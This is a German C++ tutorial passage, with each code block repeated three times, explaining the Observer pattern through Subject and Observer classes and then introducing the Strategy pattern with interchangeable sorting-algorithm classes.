2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25 | _// SubjectImpl.cpp //_**  
\#include** "_Subject.h_ "**  
\#include** "_ObserverInterface.h_ "  
  
**void** Subject::attach\(ObserverInterface\* observer\)  
\{  
observers.push\_back\(observer\);  
\}  
  
  
**void** Subject::detach\(ObserverInterface \*observer\)  
\{  
observers.remove\(observer\);  
\}  
  
  
**void** Subject::notify\(\)  
\{  
list<ObserverInterface\*>::iterator iter = observers.begin\(\);  
**for** \( ; iter \!= observers.end\(\); iter++ \)  
\{  
\(\*iter\)->update\(\);  
  
\}  
\} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25 | _// SubjectImpl.cpp //_**  
\#include** "_Subject.h_ "**  
\#include** "_ObserverInterface.h_ "  
  
**void** Subject::attach\(ObserverInterface\* observer\)  
\{  
observers.push\_back\(observer\);  
\}  
  
  
**void** Subject::detach\(ObserverInterface \*observer\)  
\{  
observers.remove\(observer\);  
\}  
  
  
**void** Subject::notify\(\)  
\{  
list<ObserverInterface\*>::iterator iter = observers.begin\(\);  
**for** \( ; iter \!= observers.end\(\); iter++ \)  
\{  
\(\*iter\)->update\(\);  
  
\}  
\} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25 | _// SubjectImpl.cpp //_**  
\#include** "_Subject.h_ "**  
\#include** "_ObserverInterface.h_ "  
  
**void** Subject::attach\(ObserverInterface\* observer\)  
\{  
observers.push\_back\(observer\);  
\}  
  
  
**void** Subject::detach\(ObserverInterface \*observer\)  
\{  
observers.remove\(observer\);  
\}  
  
  
**void** Subject::notify\(\)  
\{  
list<ObserverInterface\*>::iterator iter = observers.begin\(\);  
**for** \( ; iter \!= observers.end\(\); iter++ \)  
\{  
\(\*iter\)->update\(\);  
  
\}  
\} |   
  
  
Wichtig ist hier, wie schon gesagt, die notify-Methode. Hier wird die ganze
Liste an Observern durchgegangen und von jedem einzelnen die update-Methode
aufgerufen.  
  
Was wir jetzt brauchen, ist ein konkretes Subject, welches tatsächliche Daten
repräsentiert:  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17 |   _// ConcreteSubject.h //_**  
\#include** <string>**  
\#include** "_Subject.h_ "  
  
**using namespace** std;  
  
**class** ConcrecteSubject : **public** Subject  
\{  
  
**private** :  
string data;  
  
**public** :  
**void** setData\(string \_data\) \{ data = \_data; \}  
string getData\(\) \{ **return** data; \}  
ConcreteSubject\(\) : Subject\(\) \{\}  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17 | _// ConcreteSubject.h //_**  
\#include** <string>**  
\#include** "_Subject.h_ "  
  
**using namespace** std;  
  
**class** ConcrecteSubject : **public** Subject  
\{  
  
**private** :  
string data;  
  
**public** :  
**void** setData\(string \_data\) \{ data = \_data; \}  
string getData\(\) \{ **return** data; \}  
ConcreteSubject\(\) : Subject\(\) \{\}  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17 |   _// ConcreteSubject.h //_**  
\#include** <string>**  
\#include** "_Subject.h_ "  
  
**using namespace** std;  
  
**class** ConcrecteSubject : **public** Subject  
\{  
  
**private** :  
string data;  
  
**public** :  
**void** setData\(string \_data\) \{ data = \_data; \}  
string getData\(\) \{ **return** data; \}  
ConcreteSubject\(\) : Subject\(\) \{\}  
\}; |   
  
  
Gut, extrem simpel, aber für unsere Zwecke ausreichend.  
Man hätte in diesem Beispiel jetzt natürlich auch auf die Vererbungslinie von
Subject und ConcreteSubject verzichten und stattdessen die Methoden aus
Subject in ConcreteSubject reinpacken können. Aber durch diese Vererbung hat
man eine schöne Trennung für den Code, der das Observer Pattern betrifft, und
für den Code, der die eigentlichen \(Anwendungs-\)Daten dieser Klasse
betrifft.  
  
Nun definieren wir einen konkreten Observer:  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21 |   _// ConcreteObserver.h //_**  
\#include** <string>**  
\#include** "_ObserverInterface.h_ "**  
\#include** "_ConcreteSubject.h_ "  
  
**using namespace** std;  
**class** ConcreteObserver : **public** ObserverInterface  
\{  
  
**private** :  
string name;  
string observerState;  
ConcreteSubject\* subject; _// Dieses Objekt hält die Daten \(=notifier\)_  
  
**public** :  
**void** update\(\);  
**void** setSubject\(ConcreteSubject\* subj\);  
ConcreteSubject\* getSubject\(\);  
ConcreteObserver\(ConcreteSubject\* subj, string name\);  
  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21 | _// ConcreteObserver.h //_**  
\#include** <string>**  
\#include** "_ObserverInterface.h_ "**  
\#include** "_ConcreteSubject.h_ "  
  
**using namespace** std;  
**class** ConcreteObserver : **public** ObserverInterface  
\{  
  
**private** :  
string name;  
string observerState;  
ConcreteSubject\* subject; _// Dieses Objekt hält die Daten \(=notifier\)_  
  
**public** :  
**void** update\(\);  
**void** setSubject\(ConcreteSubject\* subj\);  
ConcreteSubject\* getSubject\(\);  
ConcreteObserver\(ConcreteSubject\* subj, string name\);  
  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21 |   _// ConcreteObserver.h //_**  
\#include** <string>**  
\#include** "_ObserverInterface.h_ "**  
\#include** "_ConcreteSubject.h_ "  
  
**using namespace** std;  
**class** ConcreteObserver : **public** ObserverInterface  
\{  
  
**private** :  
string name;  
string observerState;  
ConcreteSubject\* subject; _// Dieses Objekt hält die Daten \(=notifier\)_  
  
**public** :  
**void** update\(\);  
**void** setSubject\(ConcreteSubject\* subj\);  
ConcreteSubject\* getSubject\(\);  
ConcreteObserver\(ConcreteSubject\* subj, string name\);  
  
\}; |   
  
  
Um einen Observer zu identifizieren, verpassen wir ihm einen Namen. Die
observerState-Variable ist dafür da, um den Zustand des Observers mit dem
Zustand des Subjekts konsistent zu halten. Wichtig ist hierbei, dass dem
Observer-Konstruktor auch gleichzeitig das zu beobachtende Subjekt mit
übergeben werden muss. Nun zur Implementierung:  
  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30 |   _// ConcreteObserverImpl.cpp //_**  
\#include** <iostream>**  
\#include** "_ConcreteObserver.h_ "  
  
**using namespace** std;  
  
  
_// Daten anzeigen_  
**void** ConcreteObserver::update\(\)  
\{  
observerState = subject->getData\(\);  
cout << "_Observer_ " << name << " _hat neuen Zustand:_ " << observerState <<
endl;  
\}  
  
**void** ConcreteObserver::setSubject\(ConcreteSubject\* obj\)  
\{  
subject = obj;  
\}  
  
ConcreteSubject\* ConcreteObserver::getSubject\(\)  
\{  
**return** subject;  
\}  
  
  
ConcreteObserver::ConcreteObserver\(ConcreteSubject\* subj, string n\)  
\{  
name = n;  
subject = subj;  
\} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30 | _// ConcreteObserverImpl.cpp //_**  
\#include** <iostream>**  
\#include** "_ConcreteObserver.h_ "  
  
**using namespace** std;  
  
  
_// Daten anzeigen_  
**void** ConcreteObserver::update\(\)  
\{  
observerState = subject->getData\(\);  
cout << "_Observer_ " << name << " _hat neuen Zustand:_ " << observerState <<
endl;  
\}  
  
**void** ConcreteObserver::setSubject\(ConcreteSubject\* obj\)  
\{  
subject = obj;  
\}  
  
ConcreteSubject\* ConcreteObserver::getSubject\(\)  
\{  
**return** subject;  
\}  
  
  
ConcreteObserver::ConcreteObserver\(ConcreteSubject\* subj, string n\)  
\{  
name = n;  
subject = subj;  
\} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30 |   _// ConcreteObserverImpl.cpp //_**  
\#include** <iostream>**  
\#include** "_ConcreteObserver.h_ "  
  
**using namespace** std;  
  
  
_// Daten anzeigen_  
**void** ConcreteObserver::update\(\)  
\{  
observerState = subject->getData\(\);  
cout << "_Observer_ " << name << " _hat neuen Zustand:_ " << observerState <<
endl;  
\}  
  
**void** ConcreteObserver::setSubject\(ConcreteSubject\* obj\)  
\{  
subject = obj;  
\}  
  
ConcreteSubject\* ConcreteObserver::getSubject\(\)  
\{  
**return** subject;  
\}  
  
  
ConcreteObserver::ConcreteObserver\(ConcreteSubject\* subj, string n\)  
\{  
name = n;  
subject = subj;  
\} |   
  
  
In der update-Methode holen wir den aktuellen Status des Subjekts und geben
ihn aus.  
Zusammenfassend lässt sich hier sagen: Wir haben eine Schnittstelle für
Subjekte, welche es uns erlaubt, Observer hinzuzufügen und zu entfernen.
Parallel haben wir eine Schnittstelle für Observer, welche es uns erlaubt, für
jeden konkreten Observer die update-Methode aufzurufen. Zudem haben wir
konkrete Observer und Subjekte definiert.  
  
Hier ein Beispiel für die Benutzung der erstellten Klassen:  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32 |   _// Main.cpp //_**  
\#include** "_ObserverInterface.h_ "**  
\#include** "_ConcreteSubject.h_ "**  
\#include** "_ConcreteObserver.h_ "  
  
  
**int** main\(\)  
\{  
  
_// Das Objekt hält alle Daten \(=notfier = subject\)_  
ConcreteSubject\* subj = **new** ConcretSubject\(\);  
  
ObserverInterface\* obs1 = **new** ConcreteObserver\(subj,"_A_ "\);  
ObserverInterface\* obs2 = **new** ConcreteObserver\(subj,"_B_ "\);  
  
_// Observer\(=views\) an Subjekt anhängen \(attachen\)_  
subj->attach\(obs1\);  
subj->attach\(obs2\);  
  
_// Daten ändern und Observer informieren \(notify\)_  
subj->setData\("_TestData_ "\);  
subj->notify\(\);  
  
 _/\*  
Ausgabe:  
Observer A hat neuen Zustand: TestData  
Observer B hat neuen Zustand: TestData  
\*/_  
  
**return** 0;  
  
\} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32 | _// Main.cpp //_**  
\#include** "_ObserverInterface.h_ "**  
\#include** "_ConcreteSubject.h_ "**  
\#include** "_ConcreteObserver.h_ "  
  
  
**int** main\(\)  
\{  
  
_// Das Objekt hält alle Daten \(=notfier = subject\)_  
ConcreteSubject\* subj = **new** ConcretSubject\(\);  
  
ObserverInterface\* obs1 = **new** ConcreteObserver\(subj,"_A_ "\);  
ObserverInterface\* obs2 = **new** ConcreteObserver\(subj,"_B_ "\);  
  
_// Observer\(=views\) an Subjekt anhängen \(attachen\)_  
subj->attach\(obs1\);  
subj->attach\(obs2\);  
  
_// Daten ändern und Observer informieren \(notify\)_  
subj->setData\("_TestData_ "\);  
subj->notify\(\);  
  
_/\*  
Ausgabe:  
Observer A hat neuen Zustand: TestData  
Observer B hat neuen Zustand: TestData  
\*/_  
  
**return** 0;  
  
\} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32 |   _// Main.cpp //_**  
\#include** "_ObserverInterface.h_ "**  
\#include** "_ConcreteSubject.h_ "**  
\#include** "_ConcreteObserver.h_ "  
  
  
**int** main\(\)  
\{  
  
_// Das Objekt hält alle Daten \(=notfier = subject\)_  
ConcreteSubject\* subj = **new** ConcretSubject\(\);  
  
ObserverInterface\* obs1 = **new** ConcreteObserver\(subj,"_A_ "\);  
ObserverInterface\* obs2 = **new** ConcreteObserver\(subj,"_B_ "\);  
  
_// Observer\(=views\) an Subjekt anhängen \(attachen\)_  
subj->attach\(obs1\);  
subj->attach\(obs2\);  
  
_// Daten ändern und Observer informieren \(notify\)_  
subj->setData\("_TestData_ "\);  
subj->notify\(\);  
  
 _/\*  
Ausgabe:  
Observer A hat neuen Zustand: TestData  
Observer B hat neuen Zustand: TestData  
\*/_  
  
**return** 0;  
  
\} |   
  
  
Es ist nun ein Leichtes, ohne Änderung des bestehenden Codes weitere Observer
hinzuzufügen, welche die Daten z. B. auch in veränderter Form ausgeben.  
Dies ist wie gesagt ein einfaches Beispiel, was aber die Funktionsweise von
Observern gut veranschaulichen sollte. Es gibt unterschiedliche
Implementierungen von Observen; so wird z. B. auch oft das Subjekt selbst als
Parameter der notify-Methode übergeben, so dass ein Observer weiß, welches
konkrete Subjekt ihn jetzt benachrichtigt hat \(es kommt durchaus vor, dass
ein Observer mehrere Subjekte beobachtet\).  
  
Auf eine Begebenheit soll hier am Ende noch eingegangen werden:  
Was macht man eigentlich, wenn z. B. eine Klasse, die als Observer fungieren
soll, schon in einer Vererbungslinie steht? Also was wäre, am obigen Beispiel
erklärt, wenn ConcreteObserver schon von einer ganz anderen Klasse \(z. B.
einer GUI-Komponentenklasse\) erben würde und man aber trotzdem auch von
ObserverInterface erben muss? Dafür gibt es mehrere Lösungswege; ein sehr
eleganter ist das bereits beschriebene Adapter Pattern. Das könnte dann z. B.
so aussehen:  
  
<img src='img/observerexample1.png' />  
  
Wichtig sind hier eigentlich nur die beiden Klassen rechts \(Window und
MyWindow\), das andere entspricht im Prinzip dem Code von vorhin.  
Die Klasse "Window" soll hier aus einer GUI-Bibliothek entstammen und dient
zur Darstellung von Fenstern. Will man etwas in ein solches Fenster zeichnen,
dann muss man eine eigene Klasse erstellen, welche von "Window" erbt, und muss
gewisse Methoden überschreiben, so dass man auch wirklich zeichnen kann \(z.
B. so etwas wie "paintEvent\(\)", was es ja in einigen GUI-Bibliotheken
gibt\). Zu diesem Zweck gibt es hier die Klasse "MyWindow".  
Genau hier liegt jetzt aber das Problem: Die Klasse "MyWindow" sollte hier ja
eigentlich der Observer sein, welcher die vom Subject übermittelten Daten
darstellen soll. D. h., MyWindow müsste sowohl von "ObserverInterface" als
auch von "Window" erben.  
Hier wurde aber stattdessen die Klasse ConcreteObserver beibehalten und die
Klasse "MyWindow" adaptiert. Wird jetzt dieser Observer vom Subject
benachrichtigt, so wird dieser Aufruf weiter an "MyWindow" delegiert, wo man
dann z. B. zeichnen kann.  
  
  
  
  
4.4 Das Strategy Pattern  
  
Zu diesem Pattern sei folgendes \(eher realitätsfernes, dafür aber
verständliches\) Beispiel gegeben:  
  
Wir haben eine Klasse, welche einen großen Datenbestand enthält:  
  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17 | **class** UserClass  
\{  
**private** :  
**int** \* data;  
  
**public** :  
**const int** \* getData\(\) \{ **return** data; \}  
  
**void** insertValueAt\(**int** pos, **int** value\)  
\{  
**if** \(pos < 10000 && pos >= 0\)  
data\[pos\] = value;  
\}  
  
UserClass\(\) \{ data = **new int**\[10000\]; \}  
~UserClass\(\) \{ **delete**\[\] data; \}  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17 | **class** UserClass  
\{  
**private** :  
**int** \* data;  
  
**public** :  
**const int** \* getData\(\) \{ **return** data; \}  
  
**void** insertValueAt\(**int** pos, **int** value\)  
\{  
**if** \(pos < 10000 && pos >= 0\)  
data\[pos\] = value;  
\}  
  
UserClass\(\) \{ data = **new int**\[10000\]; \}  
~UserClass\(\) \{ **delete**\[\] data; \}  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17 | **class** UserClass  
\{  
**private** :  
**int** \* data;  
  
**public** :  
**const int** \* getData\(\) \{ **return** data; \}  
  
**void** insertValueAt\(**int** pos, **int** value\)  
\{  
**if** \(pos < 10000 && pos >= 0\)  
data\[pos\] = value;  
\}  
  
UserClass\(\) \{ data = **new int**\[10000\]; \}  
~UserClass\(\) \{ **delete**\[\] data; \}  
\}; |   
  
  
Ja, diese Klasse ist nicht gerade sehr schön, aber darauf kommt es auch nicht
an. Jedenfalls wäre es jetzt toll, wenn man diese große Menge an Daten auch
sortieren könnte, so dass man beim Aufruf von getData\(\) das sortierte Array
zurückgeliefert bekommt. Wie wir ja alle wissen, gibt es verschiedene
Sortieralgorithmen, z.B. QuickSort, ShellSort, SelectionSort, usw. Das heißt,
wir könnten in unsere Klasse jetzt eine Methode sort\(\) aufnehmen, welche
unsere Daten dann mit einem dieser Algorithmen sortiert. Wir wollen uns jedoch
nicht auf einen bestimmten Algorithmus festlegen, sondern wollen diesen vom
Benutzer der Klasse vorgeben lassen, was dann z. B. so aussehen könnte:  
  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
47  
48  
49  
50  
51  
52  
53  
54  
55  
56  
57  
58  
59 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
47  
48  
49  
50  
51  
52  
53  
54  
55  
56  
57  
58  
59 | **\#define** QUICKSORT 0**  
\#define** SHELLSORT 1**  
\#define** SELECTIONSORT 2  
  
**class** MyClass  
\{  
**private** :  
**int** \* data;  
  
**public** :  
**const int** \* getData\(\) \{ **return** data; \}  
  
**void** insertValueAt\(**int** pos, **int** value\)  
\{  
**if** \(pos < 10000 && pos >= 0\)  
data\[pos\] = value;  
\}  
  
  
MyClass\(\) \{ data = **new int**\[10000\]; \}  
~MyClass\(\) \{ **delete**\[\] data; \}  
  
**void** sort\(**int** algorithmToUse\)  
\{  
**switch** \(algorithmToUse\)  
\{  
**case** QUICKSORT:  
sortWithQuickSort\(\);  
**break** ;  
**case** SHELLSORT:  
sortWithShellSort\(\);  
**break** ;  
**case** SELECTIONSORT:  
sortWithSelectionSort\(\);  
**break** ;  
**default** :  
**break** ;  
\}  
\}  
  
  
  
**void** sortWithQuickSort\(\)  
\{  
 _//Implementierung von QuickSort_  
\}  
  
**void** sortWithShellSort\(\)  
\{  
 _//Implementierung von ShellSort_  
\}  
  
**void** sortWithSelectionSort\(\)  
\{  
 _//Implementierung von SelectionSort_  
\}  
  
  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
47  
48  
49  
50  
51  
52  
53  
54  
55  
56  
57  
58  
59 | **\#define** QUICKSORT 0**  
\#define** SHELLSORT 1**  
\#define** SELECTIONSORT 2  
  
**class** MyClass  
\{  
**private** :  
**int** \* data;  
  
**public** :  
**const int** \* getData\(\) \{ **return** data; \}  
  
**void** insertValueAt\(**int** pos, **int** value\)  
\{  
**if** \(pos < 10000 && pos >= 0\)  
data\[pos\] = value;  
\}  
  
  
MyClass\(\) \{ data = **new int**\[10000\]; \}  
~MyClass\(\) \{ **delete**\[\] data; \}  
  
**void** sort\(**int** algorithmToUse\)  
\{  
**switch** \(algorithmToUse\)  
\{  
**case** QUICKSORT:  
sortWithQuickSort\(\);  
**break** ;  
**case** SHELLSORT:  
sortWithShellSort\(\);  
**break** ;  
**case** SELECTIONSORT:  
sortWithSelectionSort\(\);  
**break** ;  
**default** :  
**break** ;  
\}  
\}  
  
  
  
**void** sortWithQuickSort\(\)  
\{  
_//Implementierung von QuickSort_  
\}  
  
**void** sortWithShellSort\(\)  
\{  
_//Implementierung von ShellSort_  
\}  
  
**void** sortWithSelectionSort\(\)  
\{  
_//Implementierung von SelectionSort_  
\}  
  
  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
47  
48  
49  
50  
51  
52  
53  
54  
55  
56  
57  
58  
59 | **\#define** QUICKSORT 0**  
\#define** SHELLSORT 1**  
\#define** SELECTIONSORT 2  
  
**class** MyClass  
\{  
**private** :  
**int** \* data;  
  
**public** :  
**const int** \* getData\(\) \{ **return** data; \}  
  
**void** insertValueAt\(**int** pos, **int** value\)  
\{  
**if** \(pos < 10000 && pos >= 0\)  
data\[pos\] = value;  
\}  
  
  
MyClass\(\) \{ data = **new int**\[10000\]; \}  
~MyClass\(\) \{ **delete**\[\] data; \}  
  
**void** sort\(**int** algorithmToUse\)  
\{  
**switch** \(algorithmToUse\)  
\{  
**case** QUICKSORT:  
sortWithQuickSort\(\);  
**break** ;  
**case** SHELLSORT:  
sortWithShellSort\(\);  
**break** ;  
**case** SELECTIONSORT:  
sortWithSelectionSort\(\);  
**break** ;  
**default** :  
**break** ;  
\}  
\}  
  
  
  
**void** sortWithQuickSort\(\)  
\{  
 _//Implementierung von QuickSort_  
\}  
  
**void** sortWithShellSort\(\)  
\{  
 _//Implementierung von ShellSort_  
\}  
  
**void** sortWithSelectionSort\(\)  
\{  
 _//Implementierung von SelectionSort_  
\}  
  
  
\}; |   
  
  
Das ist natürlich eine äußerst unelegante Lösung. Jedes Mal, wenn ein neuer
Algorithmus hinzukommt, müssen wir die Klasse bearbeiten und die switch-
Struktur anpassen. Zudem ist hier die Laufzeitfehlerquote erhöht, da der
Benutzer der Klasse ja auch falsche Werte übergeben kann.  
Die Klasse selbst kann immer nur einen dieser Algorithmen zum Sortieren
benutzen, d. h., sie braucht nicht all diese Algorithmen zu kennen. Wichtig
ist nur, dass sie ihren Datenbestand sortieren kann. WIE \(d. h. mit welchem
Algorithmus\) sie das tut, ist für die Klasse selbst eigentlich ziemlich egal.  
Eine bessere Lösung ist es also, die jeweiligen Algorithmen in eigenen Klassen
zu kapseln, was auch einem der Grundprinzipien von vielen Design Patterns
entspricht: Beim Design einer Klasse schaut man, was sich immer mal wieder
ändern kann \(hier also z. B. die verschiedenen Sortieralgorithmen\), und
kapselt diese in neuen Klassen. Dadurch wird diese Klasse flexibler und man
kann besser auf neue, sich ändernde Anforderungen reagieren.  
Bei diesem Beispiel mit dem Strategy-Pattern sähe das dann so aus:  
  
<img src='img/strategyexample1.png' />  
  
Natürlich ist es hier ein bisschen "Overkill", das Strategy Pattern
anzuwenden, und es gäbe auch andere Möglichkeiten, dies elegant zu lösen, aber
wie gesagt, daran sieht man gut, worauf es beim Strategy Pattern ankommt. Zur
besseren Verständlichkeit hier noch der C++-Code:  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39 | **class** UserClass  
\{  
**private** :  
**int** \* data;  
SortStrategy\* sorter;  _// Die zu verwendende "Strategie"_  
  
**public** :  
**const int** \* getData\(\) \{ **return** data; \}  
  
**void** insertValueAt\(**int** pos, **int** value\)  
\{  
**if** \(pos < 10000 && pos >= 0\)  
data\[pos\] = value;  
\}  
  
  
 _// Hier müssen wir jetzt der Klasse auch eine Sortierstrategie übergeben_  
UserClass\(SortStrategy\* s\) \{  
data = **new int**\[10000\];  
sorter = s;  
\}  
  
~UserClass\(\) \{  
**delete**\[\] data;  
\}  
  
  
**void** sort\(\)  
\{  
sorter->sort\(data,10000\);  
\}  
  
 _// Hier kann man jetzt eine neue "Strategie" angeben, mit der sortiert
werden soll_  
**void** changeStrategy\(SortStrategy\* s\)  
\{  
sorter = s;  
\}  
  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39 | **class** UserClass  
\{  
**private** :  
**int** \* data;  
SortStrategy\* sorter; _// Die zu verwendende "Strategie"_  
  
**public** :  
**const int** \* getData\(\) \{ **return** data; \}  
  
**void** insertValueAt\(**int** pos, **int** value\)  
\{  
**if** \(pos < 10000 && pos >= 0\)  
data\[pos\] = value;  
\}  
  
  
_// Hier müssen wir jetzt der Klasse auch eine Sortierstrategie übergeben_  
UserClass\(SortStrategy\* s\) \{  
data = **new int**\[10000\];  
sorter = s;  
\}  
  
~UserClass\(\) \{  
**delete**\[\] data;  
\}  
  
  
**void** sort\(\)  
\{  
sorter->sort\(data,10000\);  
\}  
  
_// Hier kann man jetzt eine neue "Strategie" angeben, mit der sortiert werden
soll_  
**void** changeStrategy\(SortStrategy\* s\)  
\{  
sorter = s;  
\}  
  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39 | **class** UserClass  
\{  
**private** :  
**int** \* data;  
SortStrategy\* sorter;  _// Die zu verwendende "Strategie"_  
  
**public** :  
**const int** \* getData\(\) \{ **return** data; \}  
  
**void** insertValueAt\(**int** pos, **int** value\)  
\{  
**if** \(pos < 10000 && pos >= 0\)  
data\[pos\] = value;  
\}  
  
  
 _// Hier müssen wir jetzt der Klasse auch eine Sortierstrategie übergeben_  
UserClass\(SortStrategy\* s\) \{  
data = **new int**\[10000\];  
sorter = s;  
\}  
  
~UserClass\(\) \{  
**delete**\[\] data;  
\}  
  
  
**void** sort\(\)  
\{  
sorter->sort\(data,10000\);  
\}  
  
 _// Hier kann man jetzt eine neue "Strategie" angeben, mit der sortiert
werden soll_  
**void** changeStrategy\(SortStrategy\* s\)  
\{  
sorter = s;  
\}  
  
\}; |   
  
  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10 | _// Die abstrakte Basis-Klasse für alle Sortier-Implementierungen_  
**class** SortStrategy  
\{  
  
**public** :  
**virtual void** sort\(**int** \* data, **int** len\) = 0;  
  
**protected** :  
SortStrategy\(\) \{\}  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10 | _// Die abstrakte Basis-Klasse für alle Sortier-Implementierungen_  
**class** SortStrategy  
\{  
  
**public** :  
**virtual void** sort\(**int** \* data, **int** len\) = 0;  
  
**protected** :  
SortStrategy\(\) \{\}  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10 | _// Die abstrakte Basis-Klasse für alle Sortier-Implementierungen_  
**class** SortStrategy  
\{  
  
**public** :  
**virtual void** sort\(**int** \* data, **int** len\) = 0;  
  
**protected** :  
SortStrategy\(\) \{\}  
\}; |   
  
  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11 | **\#include** "_SortStrategy.h_ "  
  
**class** QuickSort : **public** SortStrategy  
\{  
**public** :  
QuickSort\(\) \{\}  
  
**void** sort\(**int** \* data, **int** len\) \{  
_// Hier steht dann die Implementierung des Quicksort-Algorithmus_  
\}  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11 | **\#include** "_SortStrategy.h_ "  
  
**class** QuickSort : **public** SortStrategy  
\{  
**public** :  
QuickSort\(\) \{\}  
  
**void** sort\(**int** \* data, **int** len\) \{  
_// Hier steht dann die Implementierung des Quicksort-Algorithmus_  
\}  
